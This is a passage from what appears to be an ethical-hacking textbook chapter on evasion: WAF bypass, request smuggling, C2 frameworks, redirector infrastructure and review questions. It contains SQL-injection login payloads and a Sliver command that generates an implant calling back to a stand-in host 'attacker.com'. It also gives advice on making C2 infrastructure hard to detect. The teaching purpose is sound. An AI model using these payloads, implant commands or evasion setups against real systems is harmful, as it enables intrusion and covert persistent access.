- Chunked encoding: Use chunked Transfer-Encoding to split the payload across chunks
Request Smuggling and HTTP Desync
HTTP request smuggling exploits differences in how front-end (WAF/reverse proxy) and back-end servers parse HTTP requests. If the WAF and the application server disagree on where one request ends and the next begins, an attacker can "smuggle" a malicious request past the WAF.
CL.TE (Content-Length vs Transfer-Encoding): The WAF uses Content-Length to determine the request body length, while the back-end uses Transfer-Encoding: chunked. The attacker crafts a request that the WAF sees as a single benign request, but the back-end interprets as two requests -- one benign and one malicious.
TE.CL: The reverse case -- the WAF uses Transfer-Encoding while the back-end uses Content-Length.
Request smuggling can bypass WAF rules entirely because the malicious portion of the request is invisible to the WAF. Tools like Burp Suite's HTTP Request Smuggler extension automate detection of these vulnerabilities.
Content-Type Manipulation
Some WAFs only inspect request bodies when the Content-Type matches expected values (e.g., application/x-www-form-urlencoded). By changing the Content-Type to multipart/form-data, application/json, or even custom types, the same payload may not be inspected or may be parsed differently.
# Standard form submission (WAF inspects)
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin' OR 1=1--&password=x
# JSON alternative (WAF may not inspect SQL patterns in JSON)
POST /login HTTP/1.1
Content-Type: application/json
{"username": "admin' OR 1=1--", "password": "x"}
ShopStack Scenario: Comprehensive WAF Assessment
During our ShopStack engagement, we conduct a systematic WAF assessment:
- Fingerprint the WAF:
wafw00f https://shopstack.example.comidentifies Cloudflare - Test standard payloads: Confirm that basic SQLi, XSS, and command injection are blocked
- Document blocking patterns: Note which specific rule IDs are triggered
- Attempt bypasses systematically: - Encoding variations (URL encoding, double encoding, Unicode) - Case alternation and comment injection - Content-Type manipulation (JSON endpoint testing) - HTTP parameter pollution - Request smuggling checks - Chunked Transfer-Encoding
- Origin IP discovery: Check DNS history, email headers, and subdomains for the origin IP behind Cloudflare
- Report findings: Document each bypass with proof-of-concept and remediation
The assessment reveals three bypasses: a JSON-based SQLi bypass on the API endpoint, a double-encoded XSS payload that evades Cloudflare's rule set, and a direct origin IP that is not protected by Cloudflare at all. Each finding is documented with specific remediation steps.
🔵 Blue Team Perspective: WAF bypass is inevitable against a determined attacker. WAFs should be one layer of defense, not the only layer. Key recommendations: - Keep WAF rules updated and use managed rule sets - Enable learning mode to build custom rules for your application - Implement input validation at the application level, not just the WAF - Use parameterized queries for SQL (WAF bypass is irrelevant if the application is not vulnerable) - Monitor WAF logs for bypass attempts as threat intelligence - Ensure origin servers are not directly accessible, bypassing the WAF entirely - Test API endpoints separately -- they often have different WAF coverage than web pages
🧪 Try It in Your Lab: Deploy ModSecurity with the OWASP Core Rule Set on a local web server. Set up DVWA behind it. Attempt SQLi and XSS attacks -- observe what is blocked. Then try the bypass techniques from this section and see which ones succeed. This is excellent practice for both offensive and defensive skills.
27.7 C2 Frameworks (Cobalt Strike, Sliver, Mythic)
Command and Control Architecture
A Command and Control (C2) framework provides the infrastructure for managing compromised systems during a penetration test or red team engagement. The C2 server acts as the central hub, sending commands to agents (also called beacons, implants, or sessions) running on compromised hosts.
A modern C2 framework provides:
- Payload generation: Create agents for multiple operating systems and architectures
- Communication channels: HTTP/HTTPS, DNS, SMB named pipes, TCP
- Encryption: All C2 traffic is encrypted
- Post-exploitation modules: Built-in tools for lateral movement, credential access, and data collection
- Collaboration: Multiple operators can share a single C2 server
- Logging: Complete audit trail of all commands and their results
- Evasion features: Sleep/jitter, malleable profiles, payload obfuscation
Cobalt Strike
Cobalt Strike, created by Raphael Mudge in 2012, is the most well-known commercial C2 framework. It costs approximately $5,900/year per operator and is designed for adversary simulation. Its "Beacon" agent is feature-rich and highly configurable.
Key Features: - Malleable C2 profiles: Customize every aspect of Beacon's network behavior -- HTTP headers, URI paths, data encoding, TLS parameters. Profiles can make traffic look like legitimate services (Google, Amazon, Slack). - Beacon: Asynchronous agent that checks in at configurable intervals. Supports HTTP, HTTPS, DNS, and SMB channels. - Sleep and jitter: Configure beacon interval (e.g., 60 seconds) and jitter percentage (e.g., 30%) to vary timing. - Aggressor Script: Built-in scripting language for automation and customization. - Kit integrations: Artifact Kit (payload customization), Resource Kit (template customization), Sleep Mask Kit (in-memory obfuscation).
The Dual-Use Problem: Cobalt Strike's capabilities have made it the tool of choice not only for legitimate red teams but also for actual threat actors. Cracked copies circulate widely, and Cobalt Strike Beacon is now the most commonly detected C2 framework in real malware campaigns (see Case Study 1 for detailed analysis). This dual-use reality means that defenders are highly tuned to detect Cobalt Strike, paradoxically making it harder to use for legitimate testing.
Cobalt Strike Detection: The security community has invested enormous effort in detecting Cobalt Strike:
- Default Beacon configurations have well-known signatures (named pipes like \\.\pipe\msagent_*, JA3 fingerprints, malleable profile defaults)
- Memory scanning for Beacon's reflective loader
- YARA rules for Beacon's sleep mask and configuration blocks
- Network signatures for default HTTP profiles
Sliver
Sliver is an open-source C2 framework developed by BishopFox. It is free, actively maintained, and increasingly popular among both red teams and (unfortunately) threat actors.
Key Features: - Cross-platform implants: Generate implants for Windows, Linux, macOS in multiple formats (shellcode, shared library, executable, service) - Multiple C2 protocols: mTLS (mutual TLS), WireGuard, HTTP/S, DNS - Implant obfuscation: Each implant is generated with a unique compilation, obfuscated strings, and randomized symbols - Armory: Plugin system for additional tools and capabilities - Multiplayer: Built-in support for multiple operators - Stager support: Small first-stage payloads that download the full implant
Advantages over Cobalt Strike: - Free and open source - Newer, with fewer existing detection signatures - Built in Go, producing cross-platform binaries natively - mTLS and WireGuard protocols are harder to fingerprint than HTTPS - Active community development
Usage Example (in an authorized engagement):
# Generate an implant
sliver > generate --mtls attacker.com --os windows --arch amd64 --format exe --save /tmp/implant.exe
# Start a listener
sliver > mtls --lhost 0.0.0.0 --lport 8888
# Once implant executes and connects:
sliver > use [SESSION_ID]
sliver (IMPLANT_NAME) > whoami
sliver (IMPLANT_NAME) > ps
sliver (IMPLANT_NAME) > netstat
Mythic
Mythic is an open-source C2 framework created by Cody Thomas (@its_a_feature_). It differentiates itself with a web-based UI and a modular agent architecture.
Key Features: - Web-based UI: Collaborative web interface for managing operations - Modular agents: Separate agent projects (Apollo for Windows/.NET, Poseidon for Linux/macOS Go, Medusa for Python, Athena for .NET cross-platform) - C2 profiles: Modular communication profiles that can be swapped independently - MITRE ATT&CK integration: Maps all commands to ATT&CK techniques - Docker-based deployment: Easy setup and isolation - Extensible: Write custom agents in any language that can make HTTP requests
Apollo agent (Windows) supports: - Process injection (multiple techniques) - Token manipulation and credential access - Assembly loading (.NET tools in memory) - SOCKS proxying for pivoting - Keystroke logging and screenshot capture
Emerging Alternatives: Havoc, Nighthawk, Brute Ratel
The C2 landscape is constantly evolving. Newer frameworks attempt to stay ahead of detection:
Havoc is a free, modern C2 framework written in C and Go with a clean Qt-based UI. It features a "Demon" agent with direct syscall support, sleep obfuscation, and heap encryption.
Nighthawk is a commercial C2 by MDSec that focuses on advanced evasion. It is less widely available than Cobalt Strike, making it less profiled by defenders.
Brute Ratel C4 (BRc4) was designed specifically to evade EDR. It features direct syscall execution, sleep masking, custom memory allocators, and ETW/AMSI patching. However, a cracked version leaked in 2022, leading to its adoption by threat actors and increased detection coverage (see Case Study 2).
Choosing a C2 Framework
| Feature | Cobalt Strike | Sliver | Mythic | Havoc |
|---|---|---|---|---|
| Cost | $5,900/yr | Free | Free | Free |
| OS Support | Windows-focused | Cross-platform | Agent-dependent | Windows-focused |
| Protocols | HTTP/S, DNS, SMB | mTLS, WG, HTTP/S, DNS | Profile-dependent | HTTP/S, SMB |
| Detection Profile | Very high | Growing | Low-moderate | Low |
| Community | Large, mature | Active, growing | Active | Growing |
| Ease of Use | High | Medium | Medium | Medium |
| Extensibility | Aggressor Script | Go APIs | Any language | C/C++ |
C2 Infrastructure and Redirectors
A professional C2 infrastructure does not consist of a single server. It is a layered architecture designed for operational security, resilience, and attribution resistance:
Redirectors sit between the target network and the actual C2 server. They forward traffic that matches expected patterns and drop everything else. If a defender discovers and blocks a redirector, the C2 server remains hidden and a new redirector can be deployed. Common redirector implementations include:
- Apache mod_rewrite: Redirect traffic based on HTTP headers, URI patterns, or source IP. Non-matching traffic receives a legitimate-looking website.
- Nginx reverse proxy: Forward traffic to the C2 server based on configurable rules.
- CDN-based redirectors: Use a CDN (CloudFront, Cloudflare Workers) to proxy C2 traffic, making it appear to originate from the CDN's IP range.
- Cloud function redirectors: Use serverless functions (AWS Lambda, Azure Functions) to relay C2 traffic, leveraging cloud IP reputation.
DNS Infrastructure for C2 should use: - Domains that have been registered for at least 30 days (aged domains) to avoid newly-registered-domain detection - Domains categorized as legitimate (technology, business, healthcare) by web categorization services - SSL certificates from legitimate CAs (Let's Encrypt) - DNS records that resolve to cloud provider IP ranges
Short-haul vs. Long-haul C2: Sophisticated operations use multiple C2 channels: - Short-haul: Interactive channels with low sleep intervals (seconds) used for active operations. Higher risk of detection. - Long-haul: Slow beaconing (hours to days) used for persistent access. Lower risk of detection but limited interactivity.
If the short-haul channel is detected and blocked, the long-haul channel provides fallback access without restarting the engagement from scratch.
MedSecure C2 Infrastructure Design
For our MedSecure engagement, we choose Sliver with mTLS communication. Sliver generates unique implants for each compilation, the mTLS protocol is harder to fingerprint than HTTPS, and its detection profile is lower than Cobalt Strike's. We configure a beacon interval of 5 minutes with 40% jitter, use a legitimate Let's Encrypt certificate, and route our C2 traffic through a cloud-hosted redirector on a categorized domain.
Our infrastructure architecture: 1. Team server: Sliver server running on a dedicated VPS, accessible only via SSH from the operator network 2. Primary redirector: Apache on a cloud VM with mod_rewrite rules forwarding valid C2 traffic to the team server 3. Backup redirector: A second cloud VM in a different region, configured identically 4. DNS C2 backup: DNS-based Sliver channel as a long-haul fallback using a separate domain 5. Domain: A 60-day-old domain categorized as "technology/business" with a Let's Encrypt certificate 6. Monitoring: Continuous monitoring of all infrastructure for discovery or takedown
This layered architecture ensures that the engagement can continue even if individual components are discovered and blocked.
🔵 Blue Team Perspective: Detecting C2 frameworks requires a layered approach: - Network detection: JA3/JA3S fingerprinting, beacon pattern analysis (RITA), DNS analytics, certificate monitoring - Endpoint detection: Memory scanning for known agent patterns, monitoring for suspicious process injection, detecting sleep mask techniques - Behavioral analysis: Flag unusual processes making regular outbound connections, detect lateral movement patterns, monitor for credential access - Threat intelligence: Subscribe to feeds that publish C2 server indicators, monitor for new framework releases and their signatures
⚠️ Legal Warning: Many C2 frameworks are dual-use tools. Possessing them is generally legal, but using them against systems without authorization is illegal. Always ensure you have proper authorization and that your C2 infrastructure is isolated from production networks.
27.8 Chapter Summary
Key Concepts
This chapter covered the critical skill of evasion and anti-detection, framed within the context of authorized security testing:
Evasion is essential for meaningful security testing. A penetration test that is immediately detected only validates that detections work -- it does not reveal what happens when they fail. Red teams must be able to evade detection to provide a realistic assessment of organizational risk.
Antivirus and EDR use multiple detection layers. Signature-based, heuristic, behavioral, and ML-based detection each have strengths and weaknesses. Modern EDR solutions combine kernel callbacks, user-mode hooks, ETW telemetry, and AMSI to create a comprehensive detection stack. Effective evasion must address multiple layers simultaneously.
Payload obfuscation defeats static analysis. Encoding, encryption, custom loaders, and obfuscation frameworks transform the appearance of malicious payloads without changing their functionality. Techniques like direct syscalls, callback-based execution, and module stomping evade common API hooking by EDR agents.
Living Off the Land blends with normal operations. Using signed, legitimate system binaries (LOLBins) to achieve attacker objectives makes detection extremely difficult because the tools being used are the same ones administrators use daily. The LOLBAS and GTFOBins projects catalog hundreds of abusable binaries.
Network evasion defeats perimeter controls. Fragmentation, protocol tunneling (DNS, ICMP, HTTP), domain fronting, and encrypted channels help bypass firewalls, IDS/IPS, and network monitoring. Traffic pattern analysis and JA3 fingerprinting are the primary countermeasures.
WAF bypass is an art. Encoding tricks, alternative syntax, comment injection, and parameter pollution can defeat WAF rules. However, WAFs are a compensating control -- the real fix is eliminating the underlying vulnerability.
C2 frameworks enable organized operations. Cobalt Strike, Sliver, Mythic, and newer alternatives provide the infrastructure for managing compromised systems during engagements. Framework selection should consider detection profile, protocol support, and engagement requirements.
The Evasion Mindset
The most important takeaway from this chapter is not any specific technique -- it is the mindset. Evasion is not about being clever or showing off. It is about providing clients with a realistic assessment of their security posture. Every evasion technique you learn should make you a better defender, because you now understand what your controls can and cannot detect.
Consider the progression of your evasion approach during an engagement:
- Assess the detection landscape: Before attempting evasion, understand what you are evading. Enumerate the endpoint, network, and application-layer defenses.
- Start simple: Try default tools first to establish a detection baseline. This provides value even if (especially if) your payloads are caught immediately.
- Escalate methodically: Apply evasion techniques one at a time, documenting what works and what is detected. This creates a detailed map of detection capabilities.
- Document everything: Every evasion technique, every detection triggered, every gap discovered. This is the deliverable.
- Recommend improvements: For every evasion success, provide a specific, actionable detection recommendation.
The best red team operators think like defenders. They study detection technology not just to evade it, but to understand how it works, where it fails, and how to make it better. When you bypass an EDR agent, your first thought should not be "I am clever" -- it should be "how can I help this organization detect this technique next time?"
As you develop your evasion skills, always remember: the goal is to improve security, not to demonstrate that security is impossible. Document every technique, explain every gap, and recommend every fix. That is what makes an ethical hacker.
⚖️ Final Ethics Note: The techniques in this chapter are among the most sensitive in the penetration tester's toolkit. Used responsibly, they provide invaluable security insights. Used irresponsibly, they enable the exact threats we are trying to defend against. Your authorization, your documentation, and your recommendations are what separate ethical hacking from malicious activity. Never forget this distinction.
📊 Chapter Statistics: This chapter covered the MITRE ATT&CK Defense Evasion tactic (TA0005), referencing techniques T1027 (Obfuscated Files), T1036 (Masquerading), T1055 (Process Injection), T1070 (Indicator Removal), T1218 (System Binary Proxy Execution -- LOLBins), T1071 (Application Layer Protocol), T1572 (Protocol Tunneling), T1573 (Encrypted Channel), and T1219 (Remote Access Software).
What's Next
In Chapter 28, we shift from evading detection to attacking one of the fundamental building blocks of modern security: cryptography. You will learn how cryptographic protocols protect data in transit and at rest, how those protocols have been broken throughout history, and how to identify cryptographic weaknesses during penetration tests. The evasion skills you learned here -- particularly network evasion and encrypted C2 -- rely heavily on cryptographic concepts that we will now explore in depth.
Review Questions
-
Explain why evasion skills are important for ethical hackers, and describe three ethical principles that should guide evasion during authorized testing.
-
Compare and contrast signature-based detection, heuristic analysis, behavioral detection, and machine learning-based detection. What are the strengths and weaknesses of each?
-
Describe how an EDR agent uses kernel callbacks, user-mode hooks, ETW, and AMSI to detect malicious activity. Which layer is hardest to evade and why?
-
What is a shellcode runner, and how do techniques like direct syscalls, callback-based execution, and module stomping help evade EDR?
-
Define "Living Off the Land" and explain why it is effective. Name five Windows LOLBins and their offensive uses.
-
How does DNS tunneling work? What are the key indicators that defenders can use to detect it?
-
Compare three WAF bypass techniques for SQL injection. Why is fixing the underlying vulnerability more important than relying on WAF rules?
-
Compare Cobalt Strike, Sliver, and Mythic across at least four dimensions. What factors should influence your choice of C2 framework for an engagement?
-
Explain the dual-use problem with C2 frameworks like Cobalt Strike. How does the adoption of red team tools by threat actors affect the security community?
-
Describe a complete evasion strategy for a red team engagement targeting an organization with EDR on endpoints, IDS/IPS on the network, and a WAF on web applications. How would you address each layer?
Further Reading Preview
For additional resources on evasion and anti-detection techniques, see this chapter's further-reading.md, which includes references to the LOLBAS project, MITRE ATT&CK Defense Evasion tactic, C2 framework documentation, and relevant research papers.